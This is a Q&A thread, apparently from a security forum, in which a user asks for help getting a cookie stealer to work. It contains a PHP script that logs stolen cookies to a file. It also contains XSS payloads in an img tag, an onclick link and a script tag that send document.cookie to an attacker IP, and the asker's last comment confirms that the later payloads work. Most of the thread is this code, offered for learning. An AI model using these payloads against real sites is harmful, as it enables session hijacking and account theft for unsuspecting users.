0

I am trying to steal cookies for learning purpose and for that I have setup an attacker server where my malicious website is running stealing cookies of users and it works when I visit like

http://192.168.8.102/cookiestealer.php?c=document.cookie

It records whatever c parameter holds, in above case document.cookie string.

The simple cookie stealer has following lines of code in it

<?php
header('Location:https://google.com');
$cookies = $_GET["c"];
$file = fopen('log.txt', 'a');
fwrite($file, $cookies . "\n\n");
?>

The problem is when I use same link in img tag src attribute, it doesn't log anything in log.txt file. I am using following post on the vulnerable site;

<img src="http://192.168.8.102/cookiestealer.php?c="+document.cookie onerror="alert('Your cookie has been served')" />

But it does not log anything on server. However the file does change as the editor prompts me to reload but there is nothing written over it. There is no HTTPOnly=true for any cookie on this site.

Any suggestions? THanks.

  • 9
    This is not how html and javascript work, You cannot concatenate the src attribute with the js string document.cookie like that. You should first learn the basis about html/css/javascript. – Xavier59 May 27 '18 at 10:55
  • @Xavier59 - you're correct, but this is a site about learning - if people know the answer, they wouldn't have to ask the question. It's common to understand the basics of javascript and html and get confused about the context in which you're running – Egret May 27 '18 at 15:57
  • 1
    @Egret It is more of a programming question here and thus would best fit on stackoverflow. Moreover, would you explain a buffer overflow to someone who doesn't know what a computer is ? First, he needs to learn the basics and it has nothing to do with info sec. – Xavier59 May 27 '18 at 19:33
  • @Xavier59 - I prefer to think this kind of a question is a great teaching opportunity - check out "Let’s stop judging users for not knowing things. (We’re a Q&A site!)" stackoverflow.blog/2018/04/26/… – Egret May 28 '18 at 21:58
3

You are using a javascript routine (document.cookie) in HTML without breaking out into the javascript context. It's helpful in these cases, to look at the source of the page that's generated - that often makes it easier to understand.

In order to leverage your cookie stealer, you would need an XSS on the victim's site. In the most common case, that allows you to break out of the HTML tag, and start writing javascript (i.e. ">

As a side note, you can always just check your access logs for requests coming into your cookie stealer - no need for a separate php program to record these.

  • Thankyou @Erget, I differentiate the context of html and javascript and was able to send cookie to the server with following types of snippets.<a href=# onclick=\"document.location=\'http://192.168.8.102/?c=\'+escape\(document.cookie\)+\'\&t=testing again\'\;\">A useful cyber security link</a> and <script javascript:text>document.location="http://192.168.8.102?c=" + document.cookie + "&t=testingwithscript"; </script>. – aneela May 28 '18 at 9:21

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.